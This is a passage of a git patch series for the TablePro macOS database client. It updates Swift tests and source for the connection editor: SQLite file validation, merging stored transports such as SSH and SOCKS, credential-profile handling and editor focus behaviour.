{ filter.panel(NSObject(), shouldEnable: $0) } + + #expect(enabled == [true, true, true, true, true, false]) + #expect(reads.withLock { $0 } == 0) + } + + @Test("A pick is read once chosen: one that is no SQLite database is refused by name, a database is not") + func validateReadsThePick() throws { + let rule = DatabaseFileBrowseRule(type: .sqlite, extensions: sqliteExtensions) + let filter = PanelEnableFilter(isEnabled: rule.isEnabled, validate: rule.validate) + let notes = try file("notes", contents: Data("hello".utf8)) + let photo = try file("photo.png", contents: Data([0x89, 0x50, 0x4E, 0x47])) + let history = try file("History", contents: sqliteHeader) + let named = try file("app.db", contents: Data("written later".utf8)) + + for refused in [notes, photo] { + do { + try filter.panel(NSObject(), validate: refused) + Issue.record("\(refused.lastPathComponent) must be refused") + } catch { + #expect(error.localizedDescription.contains(refused.lastPathComponent)) + } + } + try filter.panel(NSObject(), validate: history) + try filter.panel(NSObject(), validate: named) + } + + @Test("A pick whose bytes are not on this Mac yet is let through for the driver to judge") + func unreadablePickIsLetThrough() throws { + let rule = DatabaseFileBrowseRule(type: .sqlite, extensions: sqliteExtensions, classify: { _ in nil }, isReadable: { _ in false }) - #expect(rule.isEnabled(try file("History", contents: sqliteHeader)), "A browser history file is SQLite") - #expect(rule.isEnabled(try file("tiles.mbtiles", contents: sqliteHeader))) - #expect(rule.isEnabled(try file("map.gpkg", contents: sqliteHeader))) + try rule.validate(try file("Archive")) } @Test("A file on this Mac's own disk is read, and a missing or empty one is not") @@ -103,19 +174,25 @@ struct DatabaseFilePanelTests { return url } - @Test("A file of some other kind stays disabled") + @Test("A file whose name says it is another kind stays disabled; one whose name hides it is refused once picked") func otherFilesStayDisabled() throws { let rule = DatabaseFileBrowseRule(type: .sqlite, extensions: sqliteExtensions) + let notes = try file("notes", contents: Data("hello".utf8)) #expect(!rule.isEnabled(try file("photo.png"))) - #expect(!rule.isEnabled(try file("notes", contents: Data("hello".utf8)))) + #expect(!rule.isEnabled(try file("readme.txt"))) + #expect(rule.isEnabled(notes)) + #expect(throws: (any Error).self) { try rule.validate(notes) } } - @Test("A file another driver wrote stays disabled") + @Test("A file another driver wrote is dimmed by its extension, and refused once picked under another name") func anotherDriversFileStaysDisabled() throws { - let rule = DatabaseFileBrowseRule(type: .sqlite, extensions: sqliteExtensions) { _ in .duckdb } + let rule = DatabaseFileBrowseRule(type: .sqlite, extensions: sqliteExtensions, otherDriversExtensions: ["duckdb"]) { _ in .duckdb } + let warehouse = try file("warehouse") - #expect(!rule.isEnabled(try file("warehouse"))) + #expect(!rule.isEnabled(try file("warehouse.duckdb"))) + #expect(rule.isEnabled(warehouse)) + #expect(throws: (any Error).self) { try rule.validate(warehouse) } } @Test("Folders stay enabled so the panel can be navigated") @@ -141,7 +218,7 @@ struct DatabaseFilePanelTests { } @Test("A symlink to a SQLite file with no extension is enabled by the file it names") - func linkedDatabaseIsReadThroughTheLink() throws { + func linkedDatabaseIsEnabledThroughTheLink() throws { let rule = DatabaseFileBrowseRule(type: .sqlite, extensions: sqliteExtensions) let filter = PanelEnableFilter(isEnabled: rule.isEnabled) let target = try file("History", contents: sqliteHeader) @@ -189,6 +266,23 @@ struct DatabaseFilePanelTests { #expect(!rule.isEnabled(try file("photo.png"))) } + // MARK: - File > Open File… + + @Test("Open File… dims by name only and reads a file whose name says nothing once it is picked") + func openFilePanelReadsOnlyThePick() throws { + let history = try file("History", contents: sqliteHeader) + let notes = try file("notes", contents: Data("hello".utf8)) + let script = try file("report.sql", contents: Data("select 1;".utf8)) + + #expect(FileOpenPanel.isOpenable(history)) + #expect(FileOpenPanel.isOpenable(notes)) + #expect(FileOpenPanel.isOpenable(script)) + #expect(!FileOpenPanel.isOpenable(try file("photo.png"))) + try FileOpenPanel.validate(history) + try FileOpenPanel.validate(script) + #expect(throws: (any Error).self) { try FileOpenPanel.validate(notes) } + } + // MARK: - New… @Test("An empty field suggests Untitled with the driver's preferred extension") diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineFacetTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineFacetTests.swift index e600ac66c1..0d6b1378bc 100644 --- a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineFacetTests.swift +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineFacetTests.swift @@ -51,7 +51,7 @@ struct ConnectionEditorEngineFacetTests { let draft = ConnectionDraft.new(type: .sqlite, traits: sqlite) let layout = ConnectionEditorEngine.layout(draft, sqlite, EditorContext()) let transport = try #require(layout.facet(.sshAndProxies)) - #expect(transport.title == String(localized: "Remote File")) + #expect(transport.title == String(localized: "Location")) #expect(layout.facet(.sslTLS) == nil) #expect(layout.contains(.builtIn(.databaseFile))) #expect(!layout.contains(.builtIn(.password))) diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineIssueTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineIssueTests.swift index 31ee00626d..cabfcf090c 100644 --- a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineIssueTests.swift +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineIssueTests.swift @@ -20,13 +20,15 @@ struct ConnectionEditorEngineIssueTests { ConnectionEditorEngine.issues(draft, traits, context) } - // Every type, every bad value at once: no issue may point at a row the layout does not show. - @Test("Every issue names a row the layout shows, for every registered type") + // Every type, every bad value at once, with each transport and a socket forward: no issue may point at a row the + // layout hides or shows disabled. + @Test("Every issue names a row the layout shows enabled, for every registered type") func everyIssueRowIsVisible() { for type in DatabaseType.allKnownTypes { let traits = traits(type) var draft = ConnectionDraft.new(type: type, traits: traits) draft.name = "" + draft.database = "" draft.portText = "99999" draft.options.connectTimeoutSeconds = 0 draft.options.queryTimeoutSeconds = -5 @@ -40,9 +42,18 @@ struct ConnectionEditorEngineIssueTests { for transport in ConnectionEditorEngine.availableTransports(draft, traits) { var withTransport = draft withTransport.selectTransport(transport) - let layout = ConnectionEditorEngine.layout(withTransport, traits, EditorContext()) - for issue in ConnectionEditorEngine.issues(withTransport, traits, EditorContext(), layout: layout) { - #expect(layout.facet(issue.facet)?.contains(issue.row) == true, "\(type.rawValue): \(issue.message)") + var variants = [withTransport] + if transport == .ssh { + var forwarding = withTransport + forwarding.sshForwardUnixSocketPath = "/var/run/db.sock" + variants.append(forwarding) + } + for variant in variants { + let layout = ConnectionEditorEngine.layout(variant, traits, EditorContext()) + for issue in ConnectionEditorEngine.issues(variant, traits, EditorContext(), layout: layout) { + #expect(layout.facet(issue.facet)?.contains(issue.row) == true, "\(type.rawValue): \(issue.message)") + #expect(!layout.disabledRows.contains(issue.row), "\(type.rawValue): \(issue.message) on a disabled row") + } } } } @@ -142,6 +153,42 @@ struct ConnectionEditorEngineIssueTests { #expect(edits.port == 15_432) } + @Test("Port blocks nothing while the SSH tunnel forwards to a socket and the field is off") + func portIsUnusedWhileForwardingToASocket() { + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + draft.name = "Orders" + draft.setPort("99999", traits: postgres) + draft.selectTransport(.ssh) + draft.ssh.host = "bastion.example.com" + #expect(issues(draft, postgres).contains { $0.row == .builtIn(.port) }) + + draft.sshForwardUnixSocketPath = "/var/run/postgresql/.s.PGSQL.5432" + #expect(!issues(draft, postgres).contains { $0.row == .builtIn(.port) }) + let layout = ConnectionEditorEngine.layout(draft, postgres, EditorContext()) + #expect(layout.contains(.builtIn(.port))) + #expect(!layout.isEnabled(.builtIn(.port))) + } + + @Test("A file on an SSH server needs no local database file, and General says the local path is unused") + func remoteFileNeedsNoLocalFile() throws { + let sqlite = traits(.sqlite) + var draft = ConnectionDraft.new(type: .sqlite, traits: sqlite) + draft.name = "Remote" + draft.database = "" + #expect(issues(draft, sqlite).contains { $0.row == .builtIn(.databaseFile) }) + + draft.selectTransport(.remoteFile) + draft.ssh.host = "prod-1" + draft.ssh.username = "deploy" + draft.ssh.remoteFilePath = "/srv/app.db" + #expect(issues(draft, sqlite).isEmpty) + let layout = ConnectionEditorEngine.layout(draft, sqlite, EditorContext()) + let section = try #require(layout.facet(.general)?.section(containing: .builtIn(.databaseFile))) + #expect(section.footer != nil) + #expect(!layout.isEnabled(.builtIn(.databaseFile))) + } + @Test("An empty name is no issue: Save and Test use the suggested name") func emptyNameBlocksNothing() { let postgres = traits(.postgresql) diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionFormEditsMergeTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionFormEditsMergeTests.swift index f35614033b..c98b2e3710 100644 --- a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionFormEditsMergeTests.swift +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionFormEditsMergeTests.swift @@ -250,6 +250,38 @@ struct ConnectionFormEditsMergeTests { } } + @Test("A transport picked here replaces one another writer turned on, so one transport stays on") + func pickedTransportReplacesConcurrentOne() { + let base = Self.base() + var fresh = base + fresh.sshTunnelMode = .inline(SSHConfiguration(enabled: true, host: "bastion")) + var edited = base + edited.socksProxyMode = .inline(SOCKSProxyConfiguration(host: "proxy", port: 1_080, username: "")) + + let result = Self.edits(edited).applied(to: fresh, since: Self.edits(base)) + + #expect(result.sshTunnelMode == .disabled) + #expect(result.socksProxyMode == edited.socksProxyMode) + #expect(result.enabledTunnelKinds == [.socksProxy]) + } + + @Test("A transport another writer switched to stays, with its settings, when the form only edited the old one") + func concurrentTransportSwitchIsKept() { + var base = Self.base() + base.socksProxyMode = .inline(SOCKSProxyConfiguration(host: "proxy", port: 1_080, username: "")) + var fresh = base + fresh.socksProxyMode = .disabled + fresh.sshTunnelMode = .inline(SSHConfiguration(enabled: true, host: "bastion")) + var edited = base + edited.socksProxyMode = .inline(SOCKSProxyConfiguration(host: "proxy", port: 1_081, username: "")) + + let result = Self.edits(edited).applied(to: fresh, since: Self.edits(base)) + + #expect(result.sshTunnelMode == fresh.sshTunnelMode) + #expect(result.socksProxyMode == .disabled) + #expect(result.enabledTunnelKinds == [.ssh]) + } + @Test("Without a baseline the merge is the plain apply") func noBaselineIsPlainApply() { let base = Self.base() diff --git a/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorFocusTests.swift b/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorFocusTests.swift index c83bc695b0..212a745b37 100644 --- a/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorFocusTests.swift +++ b/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorFocusTests.swift @@ -105,6 +105,34 @@ struct ConnectionEditorFocusTests { #expect(controller.detail.visitedFacets.count == 7) } + @Test("A row focused below the fold is scrolled into view, so the keyboard never lands out of sight") + func focusScrollsTheRowIntoView() async throws { + let fixture = try ConnectionEditorStoreFixture() + let controller = makeController(fixture) + defer { controller.close() } + let store = controller.store + let window = try #require(controller.window) + store.selectTransport(.ssh) + var last = UUID() + for index in 0..<5 { + last = store.addJumpHost() + store.updateJumpHost(SSHJumpHost(id: last, host: "jump\(index).example.com")) + } + store.updateJumpHost(SSHJumpHost(id: last, host: "probe-last-hop")) + store.selectedFacet = .sshAndProxies + try await waitUntil { controller.detail.shownContent == .facet(.sshAndProxies) } + flush(window) + + store.focus(facet: .sshAndProxies, row: .builtIn(.jumpHost(last))) + + try await waitUntil(timeout: .seconds(3)) { focusedText(in: window) == "probe-last-hop" } + let field = try #require((window.firstResponder as? NSTextView)?.delegate as? NSView) + let scrollView = try #require(field.enclosingScrollView) + try await waitUntil(timeout: .seconds(3)) { + scrollView.contentView.bounds.contains(field.convert(field.bounds, to: scrollView.contentView)) + } + } + @Test("Escape in a text field ends the edit and keeps the window; outside one it is left to Cancel") func escapeInTextField() async throws { let fixture = try ConnectionEditorStoreFixture() diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreAuthTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreAuthTests.swift index ba98829436..503388f2b8 100644 --- a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreAuthTests.swift +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreAuthTests.swift @@ -116,6 +116,39 @@ struct ConnectionEditorStoreAuthTests { #expect(store.testRecord(testId: UUID()).passwordSource == source) } + @Test("Test runs the source a profile deleted while the editor was open handed to the connection") + func testUsesTheSourceADeletedProfileHandsOver() throws { + let fixture = try ConnectionEditorStoreFixture() + let source = PasswordSource.env(variable: "DB_PASSWORD") + let profile = CredentialProfile(name: "Shared", username: "shared", passwordMode: .source(source)) + #expect(fixture.credentialProfiles.addProfile(profile)) + let store = editing(connection(source: nil) { $0.credentialMode = .profile(id: profile.id) }, in: fixture) + + #expect(fixture.credentialProfiles.deleteProfile(profile)) + #expect(store.draft.credentials.passwordSource == source) + + let tested = store.testRecord(testId: UUID()) + #expect(tested.credentialMode == .inline) + #expect(tested.username == "shared") + #expect(tested.passwordSource == source) + } + + @Test("A ~/.pgpass profile deleted while the editor is open leaves the form and Test on ~/.pgpass") + func deletedPgpassProfileIsAdopted() throws { + let fixture = try ConnectionEditorStoreFixture() + let profile = CredentialProfile(name: "Local", username: "app", passwordMode: .pgpass) + #expect(fixture.credentialProfiles.addProfile(profile)) + let store = editing( + connection(source: nil, type: .postgresql) { $0.credentialMode = .profile(id: profile.id) }, + in: fixture + ) + + #expect(fixture.credentialProfiles.deleteProfile(profile)) + + #expect(ConnectionEditorEngine.usesPgpass(store.draft, store.traits)) + #expect(store.testRecord(testId: UUID()).usePgpass) + } + @Test("A connection with only a source can still be saved as a profile") func sourceAloneIsPromotable() throws { let fixture = try ConnectionEditorStoreFixture() diff --git a/apple/TableProTests/Views/Welcome/WelcomeRowPresentationTests.swift b/apple/TableProTests/Views/Welcome/WelcomeRowPresentationTests.swift index 6dced79012..c027a348bb 100644 --- a/apple/TableProTests/Views/Welcome/WelcomeRowPresentationTests.swift +++ b/apple/TableProTests/Views/Welcome/WelcomeRowPresentationTests.swift @@ -320,4 +320,23 @@ struct WelcomeRowPresentationTests { #expect(row(status: .connected).accessibilityValue == "db.acme.io/app") #expect(row(status: .notConnected).accessibilityValue == "db.acme.io/app") } + + @Test("A connection named after its address shows the address once") + func addressNamedRowShowsItOnce() { + var unnamed = DatabaseConnection(name: "", host: "db.example.com", database: "app", type: .postgresql) + unnamed.name = unnamed.connectionSubtitle + let named = DatabaseConnection(name: "Prod", host: "db.example.com", database: "app", type: .postgresql) + + let unnamedModel = WelcomeRowPresentation.savedConnection( + unnamed, section: .connections, tags: [], group: nil, groupPath: [], isDriverRejected: false + ) + let namedModel = WelcomeRowPresentation.savedConnection( + named, section: .connections, tags: [], group: nil, groupPath: [], isDriverRejected: false + ) + + #expect(unnamedModel.detail.isEmpty) + #expect(!unnamedModel.hasSecondLine) + #expect(namedModel.detail == named.connectionSubtitle) + #expect(namedModel.hasSecondLine) + } } From 0a430e1d1322378b226d07908d72063aec6815b9 Mon Sep 17 00:00:00 2001 From: Ngo Quoc Dat Date: Mon, 23 Nov 2026 00:57:52 +0700 Subject: [PATCH 09/13] wip(connection-editor): Codex round 3 fixes, keep TextValueEditor callers unchanged --- .../Engine/ConnectionDraft+Load.swift | 28 ++------ .../ConnectionEditorWindowController.swift | 4 +- .../Store/ConnectionEditorStore+Save.swift | 4 +- .../Store/ConnectionEditorStore.swift | 1 + .../Support/ConnectionFormEdits.swift | 47 +++++++++---- .../Shared/FieldEditors/TextValueEditor.swift | 15 +++-- .../ConnectionFormEditsMergeTests.swift | 57 ++++++++++++++++ .../Shell/ConnectionEditorWindowTests.swift | 24 +++++++ .../ConnectionEditorStoreTransportTests.swift | 66 +++++++++++++++++++ 9 files changed, 201 insertions(+), 45 deletions(-) diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Load.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Load.swift index 91ddc65481..5838754263 100644 --- a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Load.swift +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Load.swift @@ -133,17 +133,14 @@ extension ConnectionDraft { traits: ConnectionTypeTraits, sshConfigEntries: [SSHConfigEntry] ) { - var sshEnabled = false switch connection.sshTunnelMode { case .disabled: break case .inline(let config): - sshEnabled = true ssh.populateFields(from: config, configEntries: sshConfigEntries) ssh.remoteFilePath = config.remoteFilePath ssh.remoteFileAccess = config.remoteFileAccess case .profile(let id, let snapshot): - sshEnabled = true ssh.profileId = id ssh.profileSnapshot = snapshot ssh.populateFields(from: snapshot, configEntries: sshConfigEntries) @@ -156,47 +153,36 @@ extension ConnectionDraft { ssh.storedPasswordState = secrets.sshPasswordState ssh.storedKeyPassphraseState = secrets.sshKeyPassphraseState - var cloudflareEnabled = false if case .inline(let config) = connection.cloudflareTunnelMode { - cloudflareEnabled = true cloudflare.populateFields(from: config) } cloudflare.serviceTokenId = secrets.cloudflareTokenId ?? "" cloudflare.serviceTokenSecret = secrets.cloudflareTokenSecret ?? "" - var cloudSQLEnabled = false if case .inline(let config) = connection.cloudSQLProxyMode { - cloudSQLEnabled = true cloudSQLProxy.populateFields(from: config) } cloudSQLProxy.serviceAccountKeyJSON = secrets.cloudSQLServiceAccountKey ?? "" - var socksEnabled = false if case .inline(let config) = connection.socksProxyMode { - socksEnabled = true socksProxy.host = config.host socksProxy.port = String(config.port) socksProxy.username = config.username } socksProxy.password = secrets.socksPassword ?? "" - var tunnelCommandEnabled = false if case .inline(let config) = connection.tunnelCommandMode { - tunnelCommandEnabled = true tunnelCommand.config = config } - // An older build could store two transports; the first one wins, as the connect path reads it. - if sshEnabled { + // An older build could store two transports; the editor shows the first, and Save and Test keep only that one. + switch connection.switchedOnTransports.first { + case .ssh: transport = traits.supportsRemoteDatabaseFile ? .remoteFile : .ssh - } else if cloudflareEnabled { - transport = .cloudflare - } else if cloudSQLEnabled { - transport = .cloudSQLProxy - } else if socksEnabled { - transport = .socksProxy - } else if tunnelCommandEnabled { - transport = .tunnelCommand + case let kind?: + transport = kind + case nil: + break } let socketPath = MySQLLocalSocket.path(in: connection.additionalFields) diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorWindowController.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorWindowController.swift index 070be8d55a..56e012d3a9 100644 --- a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorWindowController.swift +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorWindowController.swift @@ -253,8 +253,8 @@ final class ConnectionEditorWindowController: NSWindowController, NSWindowDelega func resolveClose(_ choice: ConnectionEditorCloseGuard.Choice) { switch choice { case .save: - // Closes through dismissAction only when the save lands; a failure keeps the window and says why. - commit() + // Never connects, as Cmd+S: the person asked to save and close. A failed save keeps the window and says why. + save() case .dontSave: close() case .cancel: diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Save.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Save.swift index a7e927f514..1cbb2bd7b9 100644 --- a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Save.swift +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Save.swift @@ -149,7 +149,7 @@ extension ConnectionEditorStore { dismissAction?() services.appEvents.connectionUpdated.send(record.id) if connect { - connectToDatabase(record) + connectAction(record) } } @@ -224,7 +224,7 @@ extension ConnectionEditorStore { // MARK: - Connect - func connectToDatabase(_ connection: DatabaseConnection) { + static func connectToDatabase(_ connection: DatabaseConnection) { Task { do { try await TabRouter.shared.route(.openConnection(connection.id)) diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore.swift index e26729dcb9..766857125c 100644 --- a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore.swift +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore.swift @@ -113,6 +113,7 @@ final class ConnectionEditorStore: ObservableObject { weak var window: NSWindow? weak var undoManager: UndoManager? var dismissAction: (() -> Void)? + var connectAction: (DatabaseConnection) -> Void = { ConnectionEditorStore.connectToDatabase($0) } var storage: ConnectionStorage { services.connectionStorage } diff --git a/apple/TablePro/Views/ConnectionForm/Support/ConnectionFormEdits.swift b/apple/TablePro/Views/ConnectionForm/Support/ConnectionFormEdits.swift index 2df20ebaf1..525a49773b 100644 --- a/apple/TablePro/Views/ConnectionForm/Support/ConnectionFormEdits.swift +++ b/apple/TablePro/Views/ConnectionForm/Support/ConnectionFormEdits.swift @@ -133,10 +133,11 @@ struct ConnectionFormEdits: Equatable { merge(\.localOnly) // One transport at a time: a switch made here replaces the stored transports whole, and a switch another - // writer made stays whole, so a merge never turns on two. - if Self.switchedOnTransports(mine) != Self.switchedOnTransports(theirs) { + // writer made stays whole. Another writer's switch is read from the transport the load shows, since a record + // an older build stored with two shows only the first. + if mine.switchedOnTransports != theirs.switchedOnTransports { result.takeTransports(from: mine) - } else if Self.switchedOnTransports(fresh) == Self.switchedOnTransports(theirs) { + } else if fresh.switchedOnTransports.first == theirs.switchedOnTransports.first { merge(\.cloudflareTunnelMode) merge(\.cloudSQLProxyMode) merge(\.socksProxyMode) @@ -150,6 +151,8 @@ struct ConnectionFormEdits: Equatable { result.sshTunnelMode = mine.sshTunnelMode } } + // So Save and Test use the transport the editor shows, never two at once, which would connect directly. + result.keepOnlyFirstTransport() for key in Set(mine.additionalFields.keys).union(theirs.additionalFields.keys) where mine.additionalFields[key] != theirs.additionalFields[key] { @@ -160,17 +163,6 @@ struct ConnectionFormEdits: Equatable { return result } - // The SSH trio counts once, whether it forwards a port or opens a remote file. - private static func switchedOnTransports(_ connection: DatabaseConnection) -> Set { - var kinds: Set = [] - if connection.sshTunnelMode != .disabled { kinds.insert(.ssh) } - if connection.isCloudflareEnabled { kinds.insert(.cloudflare) } - if connection.isCloudSQLProxyEnabled { kinds.insert(.cloudSQLProxy) } - if connection.isSOCKSProxyEnabled { kinds.insert(.socksProxy) } - if connection.isTunnelCommandEnabled { kinds.insert(.tunnelCommand) } - return kinds - } - private func mergedAdditionalFields(onto existing: [String: String]) -> [String: String] { var merged = existing for id in ownedAdditionalFieldIDs { @@ -183,7 +175,34 @@ struct ConnectionFormEdits: Equatable { } } +extension DatabaseConnection { + // The SSH trio counts once, whether it forwards a port or opens a remote file. In the order the editor's load picks + // from, since an older build could store more than one. + var switchedOnTransports: [ConnectionTunnelKind] { + var kinds: [ConnectionTunnelKind] = [] + if sshTunnelMode != .disabled { kinds.append(.ssh) } + if isCloudflareEnabled { kinds.append(.cloudflare) } + if isCloudSQLProxyEnabled { kinds.append(.cloudSQLProxy) } + if isSOCKSProxyEnabled { kinds.append(.socksProxy) } + if isTunnelCommandEnabled { kinds.append(.tunnelCommand) } + return kinds + } +} + private extension DatabaseConnection { + // SSH sorts first, so it is never one of those turned off. + mutating func keepOnlyFirstTransport() { + for kind in switchedOnTransports.dropFirst() { + switch kind { + case .cloudflare: cloudflareTunnelMode = .disabled + case .cloudSQLProxy: cloudSQLProxyMode = .disabled + case .socksProxy: socksProxyMode = .disabled + case .tunnelCommand: tunnelCommandMode = .disabled + case .ssh, .remoteFile, .remoteDatabaseSession: break + } + } + } + mutating func takeTransports(from other: DatabaseConnection) { sshConfig = other.sshConfig sshProfileId = other.sshProfileId diff --git a/apple/TablePro/Views/Shared/FieldEditors/TextValueEditor.swift b/apple/TablePro/Views/Shared/FieldEditors/TextValueEditor.swift index fb50aa652a..51d81661f0 100644 --- a/apple/TablePro/Views/Shared/FieldEditors/TextValueEditor.swift +++ b/apple/TablePro/Views/Shared/FieldEditors/TextValueEditor.swift @@ -22,7 +22,8 @@ internal struct TextValueEditor: NSViewRepresentable { var textContainerInset = NSSize(width: 4, height: 6) var style: Style = .plain var marksInvisibleCharacters = false - var drawsBackground = true + // nil leaves the scroll and text views as AppKit made them; the other callers rely on that. + var drawsBackground: Bool? // A new one is another document: the view shows it from the top, with no undo left from the one before. var documentID: AnyHashable? @@ -105,11 +106,13 @@ internal struct TextValueEditor: NSViewRepresentable { if scrollView.borderType != borderType { scrollView.borderType = borderType } - if scrollView.drawsBackground != drawsBackground { - scrollView.drawsBackground = drawsBackground - } - if textView.drawsBackground != drawsBackground { - textView.drawsBackground = drawsBackground + if let drawsBackground { + if scrollView.drawsBackground != drawsBackground { + scrollView.drawsBackground = drawsBackground + } + if textView.drawsBackground != drawsBackground { + textView.drawsBackground = drawsBackground + } } if textView.font != font { textView.font = font diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionFormEditsMergeTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionFormEditsMergeTests.swift index c98b2e3710..1335fc3a57 100644 --- a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionFormEditsMergeTests.swift +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionFormEditsMergeTests.swift @@ -282,6 +282,63 @@ struct ConnectionFormEditsMergeTests { #expect(result.enabledTunnelKinds == [.ssh]) } + // An older build could store SSH and SOCKS together; the editor's load shows SSH alone. + private static func storedWithTwoTransports() -> (stored: DatabaseConnection, shown: DatabaseConnection) { + var stored = base() + let ssh = SSHConfiguration(enabled: true, host: "bastion") + stored.sshConfig = ssh + stored.sshTunnelMode = .inline(ssh) + stored.socksProxyMode = .inline(SOCKSProxyConfiguration(host: "proxy", port: 1_080, username: "")) + var shown = stored + shown.socksProxyMode = .disabled + return (stored, shown) + } + + @Test("A record stored with two transports keeps only the one the editor shows through an unrelated edit") + func twoStoredTransportsKeepTheShownOne() { + let (stored, shown) = Self.storedWithTwoTransports() + var edited = shown + edited.name = "Renamed" + + let result = Self.edits(edited).applied(to: stored, since: Self.edits(shown)) + + #expect(result.name == "Renamed") + #expect(result.sshTunnelMode == stored.sshTunnelMode) + #expect(result.socksProxyMode == .disabled) + #expect(result.enabledTunnelKinds == [.ssh]) + } + + @Test("An SSH edit on a record stored with two transports lands") + func sshEditOnTwoStoredTransportsLands() { + let (stored, shown) = Self.storedWithTwoTransports() + var edited = shown + let ssh = SSHConfiguration(enabled: true, host: "bastion-2") + edited.sshConfig = ssh + edited.sshTunnelMode = .inline(ssh) + + let result = Self.edits(edited).applied(to: stored, since: Self.edits(shown)) + + #expect(result.sshTunnelMode == edited.sshTunnelMode) + #expect(result.enabledTunnelKinds == [.ssh]) + } + + @Test("A switch another writer made on a record stored with two transports wins over an unrelated edit") + func concurrentSwitchFromTwoStoredTransportsWins() { + let (stored, shown) = Self.storedWithTwoTransports() + var fresh = stored + fresh.sshTunnelMode = .disabled + fresh.sshConfig.enabled = false + var edited = shown + edited.name = "Renamed" + + let result = Self.edits(edited).applied(to: fresh, since: Self.edits(shown)) + + #expect(result.name == "Renamed") + #expect(result.sshTunnelMode == .disabled) + #expect(result.socksProxyMode == stored.socksProxyMode) + #expect(result.enabledTunnelKinds == [.socksProxy]) + } + @Test("Without a baseline the merge is the plain apply") func noBaselineIsPlainApply() { let base = Self.base() diff --git a/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorWindowTests.swift b/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorWindowTests.swift index 07b62f16e1..2342b03b50 100644 --- a/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorWindowTests.swift +++ b/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorWindowTests.swift @@ -382,6 +382,30 @@ struct ConnectionEditorWindowTests { #expect(fixture.storage.loadConnection(id: connection.id)?.host == "replica.example.com") } + @Test("Save in the close question stores a new connection without connecting, which Save & Connect does") + func closeSaveDoesNotConnect() throws { + let fixture = try ConnectionEditorStoreFixture() + var connected: [UUID] = [] + + let closing = makeController(fixture, .new(type: .postgresql, parsedURL: nil)) + closing.store.connectAction = { connected.append($0.id) } + closing.store.update { $0.name = "Orders" } + guard case .askToSave = closing.closeVerdict else { + Issue.record("Expected the close to ask") + return + } + closing.resolveClose(.save) + #expect(closing.store.isClosing) + #expect(fixture.storage.loadConnection(id: closing.store.connectionId) != nil) + #expect(connected.isEmpty) + + let committing = makeController(fixture, .new(type: .postgresql, parsedURL: nil)) + committing.store.connectAction = { connected.append($0.id) } + committing.store.update { $0.name = "Invoices" } + committing.commit() + #expect(connected == [committing.store.connectionId]) + } + @Test("An invalid field is not an alert: Save already shows it in place") func saveErrorAlerts() { let issue = FieldIssue(facet: .general, row: .builtIn(.port), message: "Port", severity: .error) diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTransportTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTransportTests.swift index 8e64fae01f..ecfaf482f1 100644 --- a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTransportTests.swift +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTransportTests.swift @@ -5,6 +5,7 @@ import Foundation import TableProPluginKit +import TableProSSHConfig import Testing @testable import TablePro @@ -58,6 +59,71 @@ struct ConnectionEditorStoreTransportTests { #expect(store.testState == .idle) } + // MARK: - Two stored transports + + // An older build could store SSH and SOCKS together; the editor shows SSH. + private func seedSSHAndSOCKS(_ fixture: ConnectionEditorStoreFixture) -> DatabaseConnection { + var connection = DatabaseConnection( + name: "Legacy", host: "db.internal", port: 5_432, database: "orders", username: "app", type: .postgresql + ) + let ssh = SSHConfiguration(enabled: true, host: "bastion.example.com") + connection.sshConfig = ssh + connection.sshTunnelMode = .inline(ssh) + connection.socksProxyMode = .inline(SOCKSProxyConfiguration(host: "proxy.example.com", port: 1_080, username: "")) + 